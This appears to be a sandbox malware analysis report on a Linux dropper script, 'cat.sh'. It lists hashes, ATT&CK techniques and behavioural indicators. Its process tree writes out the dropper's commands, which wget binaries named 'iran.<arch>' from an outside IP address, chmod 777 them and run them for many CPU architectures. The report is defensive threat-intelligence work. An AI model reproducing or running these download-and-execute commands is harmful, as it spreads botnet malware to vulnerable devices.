ef23ed81ef111111a621540b0e050d01e0d72bf466e047e46362d08ee940303c

Analysis

max time kernel
135s
max time network
136s
platform
debian-9_armhf
resource
debian9-armhf-20260126-en
resource tags

arch:armhfimage:debian9-armhf-20260126-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
11/05/2026, 22:58

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
cat.sh
Size 1KB
Sample260511-2x2ftse14q
SHA256 ef23ed81ef111111a621540b0e050d01e0d72bf466e047e46362d08ee940303c
MD5 3473a76c22c93ab8289360c5770059cf
SHA1 8a606021897c9eb04b5a26d76777746307f5347e
SHA512 160001f7873937c663d187282b020fbf7d8d39caa01dbd111c2349c0d056f2015cac379e1afbf173a9c18a6581868cea3b96398ed1733423b70f2b757f495dd2
TLSH
T14731ED8E60F4A142C5DCEF0070E58DC8A316999263DB2A3AFC812E66CCC9E547019B36
MD5 SHA1 SHA512 TLSH

Score

7^/10

defense_evasion discovery upx

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 14 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
746	chmod
787	chmod
796	chmod
804	chmod
680	chmod
684	chmod
737	chmod
760	chmod
776	chmod
783	chmod
791	chmod
801	chmod
675	chmod
698	chmod

Deletes itself 3 IoCs

pid	Process
795	iran.armv4l
800	iran.armv5l
807	iran.armv7l

Executes dropped EXE 1 IoCs

ioc	pid	Process
/tmp/iran.x86_64	676	cat.sh

Enumerates running processes
Discovers information about currently running processes on the system

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/fstream-1.dat	upx

Changes its process name 3 IoCs

description	ioc	pid	Process
Changes the process name, possibly in an attempt to hide itself	t.me/flylegit	795	iran.armv4l
Changes the process name, possibly in an attempt to hide itself	t.me/flylegit	800	iran.armv5l
Changes the process name, possibly in an attempt to hide itself	t.me/flylegit	807	iran.armv7l

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/101/comm	iran.armv4l
File opened for reading	/proc/307/comm	iran.armv4l
File opened for reading	/proc/580/comm	iran.armv4l
File opened for reading	/proc/12/comm	iran.armv5l
File opened for reading	/proc/659/comm	iran.armv5l
File opened for reading	/proc/24/comm	iran.armv4l
File opened for reading	/proc/18/comm	iran.armv4l
File opened for reading	/proc/316/comm	iran.armv4l
File opened for reading	/proc/9/comm	iran.armv5l
File opened for reading	/proc/23/comm	iran.armv5l
File opened for reading	/proc/41/comm	iran.armv5l
File opened for reading	/proc/588/comm	iran.armv5l
File opened for reading	/proc/143/comm	iran.armv7l
File opened for reading	/proc/805/comm	iran.armv7l
File opened for reading	/proc/10/comm	iran.armv4l
File opened for reading	/proc/43/comm	iran.armv4l
File opened for reading	/proc/234/comm	iran.armv4l
File opened for reading	/proc/13/comm	iran.armv5l
File opened for reading	/proc/101/comm	iran.armv5l
File opened for reading	/proc/29/comm	iran.armv4l
File opened for reading	/proc/111/comm	iran.armv5l
File opened for reading	/proc/325/comm	iran.armv5l
File opened for reading	/proc/797/comm	iran.armv5l
File opened for reading	/proc/647/comm	iran.armv4l
File opened for reading	/proc/29/comm	iran.armv5l
File opened for reading	/proc/42/comm	iran.armv5l
File opened for reading	/proc/644/comm	iran.armv5l
File opened for reading	/proc/148/comm	iran.armv7l
File opened for reading	/proc/297/comm	iran.armv7l
File opened for reading	/proc/19/comm	iran.armv4l
File opened for reading	/proc/323/comm	iran.armv4l
File opened for reading	/proc/648/comm	iran.armv4l
File opened for reading	/proc/24/comm	iran.armv5l
File opened for reading	/proc/641/comm	iran.armv5l
File opened for reading	/proc/29/comm	iran.armv7l
File opened for reading	/proc/601/comm	iran.armv7l
File opened for reading	/proc/644/comm	iran.armv7l
File opened for reading	/proc/4/comm	iran.armv4l
File opened for reading	/proc/14/comm	iran.armv4l
File opened for reading	/proc/15/comm	iran.armv4l
File opened for reading	/proc/161/comm	iran.armv4l
File opened for reading	/proc/20/comm	iran.armv5l
File opened for reading	/proc/292/comm	iran.armv5l
File opened for reading	/proc/20/comm	iran.armv7l
File opened for reading	/proc/9/comm	iran.armv4l
File opened for reading	/proc/112/comm	iran.armv4l
File opened for reading	/proc/7/comm	iran.armv5l
File opened for reading	/proc/26/comm	iran.armv5l
File opened for reading	/proc/27/comm	iran.armv5l
File opened for reading	/proc/641/comm	iran.armv7l
File opened for reading	/proc/13/comm	iran.armv4l
File opened for reading	/proc/16/comm	iran.armv4l
File opened for reading	/proc/109/comm	iran.armv4l
File opened for reading	/proc/111/comm	iran.armv4l
File opened for reading	/proc/292/comm	iran.armv4l
File opened for reading	/proc/2/comm	iran.armv5l
File opened for reading	/proc/148/comm	iran.armv5l
File opened for reading	/proc/647/comm	iran.armv5l
File opened for reading	/proc/141/comm	iran.armv4l
File opened for reading	/proc/601/comm	iran.armv4l
File opened for reading	/proc/6/comm	iran.armv5l
File opened for reading	/proc/323/comm	iran.armv5l
File opened for reading	/proc/141/comm	iran.armv7l
File opened for reading	/proc/325/comm	iran.armv7l

System Network Configuration Discovery 1 TTPs 4 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
687	wget
699	iran.mips
702	wget
738	iran.mipsel

Writes file to tmp directory 14 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/iran.armv6l	wget
File opened for modification	/tmp/iran.x86_64	wget
File opened for modification	/tmp/iran.aarch64	wget
File opened for modification	/tmp/iran.m68k	wget
File opened for modification	/tmp/iran.mips	wget
File opened for modification	/tmp/iran.sh4	wget
File opened for modification	/tmp/iran.armv5l	wget
File opened for modification	/tmp/iran.armv7l	wget
File opened for modification	/tmp/iran.mipsel	wget
File opened for modification	/tmp/iran.powerpc	wget
File opened for modification	/tmp/iran.sparc	wget
File opened for modification	/tmp/iran.arc	wget
File opened for modification	/tmp/iran.i486	wget
File opened for modification	/tmp/iran.armv4l	wget

/tmp/cat.sh
/tmp/cat.sh
1⤵
- Executes dropped EXE
PID:648
- /usr/bin/wget
  wget http://176.65.139.7/iran.x86_64
  2⤵
  - Writes file to tmp directory
  PID:650
- /bin/chmod
  chmod 777 iran.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:675
- /tmp/iran.x86_64
  ./iran.x86_64
  2⤵
  PID:676
- /usr/bin/wget
  wget http://176.65.139.7/iran.aarch64
  2⤵
  - Writes file to tmp directory
  PID:679
- /bin/chmod
  chmod 777 iran.aarch64
  2⤵
  - File and Directory Permissions Modification
  PID:680
- /tmp/iran.aarch64
  ./iran.aarch64
  2⤵
  PID:681
- /usr/bin/wget
  wget http://176.65.139.7/iran.m68k
  2⤵
  - Writes file to tmp directory
  PID:683
- /bin/chmod
  chmod 777 iran.m68k
  2⤵
  - File and Directory Permissions Modification
  PID:684
- /tmp/iran.m68k
  ./iran.m68k
  2⤵
  PID:685
- /usr/bin/wget
  wget http://176.65.139.7/iran.mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:687
- /bin/chmod
  chmod 777 iran.mips
  2⤵
  - File and Directory Permissions Modification
  PID:698
- /tmp/iran.mips
  ./iran.mips
  2⤵
  - System Network Configuration Discovery
  PID:699
- /usr/bin/wget
  wget http://176.65.139.7/iran.mipsel
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:702
- /bin/chmod
  chmod 777 iran.mipsel
  2⤵
  - File and Directory Permissions Modification
  PID:737
- /tmp/iran.mipsel
  ./iran.mipsel
  2⤵
  - System Network Configuration Discovery
  PID:738
- /usr/bin/wget
  wget http://176.65.139.7/iran.powerpc
  2⤵
  - Writes file to tmp directory
  PID:740
- /bin/chmod
  chmod 777 iran.powerpc
  2⤵
  - File and Directory Permissions Modification
  PID:746
- /tmp/iran.powerpc
  ./iran.powerpc
  2⤵
  PID:748
- /usr/bin/wget
  wget http://176.65.139.7/iran.sparc
  2⤵
  - Writes file to tmp directory
  PID:750
- /bin/chmod
  chmod 777 iran.sparc
  2⤵
  - File and Directory Permissions Modification
  PID:760
- /tmp/iran.sparc
  ./iran.sparc
  2⤵
  PID:761
- /usr/bin/wget
  wget http://176.65.139.7/iran.sh4
  2⤵
  - Writes file to tmp directory
  PID:764
- /bin/chmod
  chmod 777 iran.sh4
  2⤵
  - File and Directory Permissions Modification
  PID:776
- /tmp/iran.sh4
  ./iran.sh4
  2⤵
  PID:778
- /usr/bin/wget
  wget http://176.65.139.7/iran.arc
  2⤵
  - Writes file to tmp directory
  PID:780
- /bin/chmod
  chmod 777 iran.arc
  2⤵
  - File and Directory Permissions Modification
  PID:783
- /tmp/iran.arc
  ./iran.arc
  2⤵
  PID:784
- /usr/bin/wget
  wget http://176.65.139.7/iran.i486
  2⤵
  - Writes file to tmp directory
  PID:786
- /bin/chmod
  chmod 777 iran.i486
  2⤵
  - File and Directory Permissions Modification
  PID:787
- /tmp/iran.i486
  ./iran.i486
  2⤵
  PID:788
- /usr/bin/wget
  wget http://176.65.139.7/iran.armv4l
  2⤵
  - Writes file to tmp directory
  PID:790
- /bin/chmod
  chmod 777 iran.armv4l
  2⤵
  - File and Directory Permissions Modification
  PID:791
- /tmp/iran.armv4l
  ./iran.armv4l
  2⤵
  - Deletes itself
  - Changes its process name
  - Reads runtime system information
  PID:792
- /usr/bin/wget
  wget http://176.65.139.7/iran.armv5l
  2⤵
  - Writes file to tmp directory
  PID:794
- /bin/chmod
  chmod 777 iran.armv5l
  2⤵
  - File and Directory Permissions Modification
  PID:796
- /tmp/iran.armv5l
  ./iran.armv5l
  2⤵
  - Deletes itself
  - Changes its process name
  - Reads runtime system information
  PID:797
- /usr/bin/wget
  wget http://176.65.139.7/iran.armv6l
  2⤵
  - Writes file to tmp directory
  PID:799
- /bin/chmod
  chmod 777 iran.armv6l
  2⤵
  - File and Directory Permissions Modification
  PID:801
- /tmp/iran.armv6l
  ./iran.armv6l
  2⤵
  PID:802
- /usr/bin/wget
  wget http://176.65.139.7/iran.armv7l
  2⤵
  - Writes file to tmp directory
  PID:803
- /bin/chmod
  chmod 777 iran.armv7l
  2⤵
  - File and Directory Permissions Modification
  PID:804
- /tmp/iran.armv7l
  ./iran.armv7l
  2⤵
  - Deletes itself
  - Changes its process name
  - Reads runtime system information
  PID:805

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

iran.x86_64

Path /tmp/iran.x86_64
Size 46KB
SHA256 3c4f92dd51c57ac1558163b3cb97f21eb0be9a69505a9f9fbe82ac492e9c6254
MD5 f99c038cd40510875f295e988cf71073
SHA1 b2b5ab21fc978b9e4d56ee85a1c87053436352c1
SHA512 dfb15caadc2c53e72bf874c4ad2d5cbe6a61026123d911b7c8c3fe4d4534d142868b62007911f5b5155f8c2f9655eaf437a15be21c8a384649782b00500fd5f6
SSDEEP 768:SGaxtJI+odZefgIqKjv/Fidcby5LxEesrUjnHLi3RQkrLVkbi4dx/YeR22fb8keo:ixrzodZwgI9z8zLuBojrURQoybLR7
TLSH
T1E323F1B383335075D2AA9FFA56244DD8EC25742C72071B9E097C31FFBD23292A664A35
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download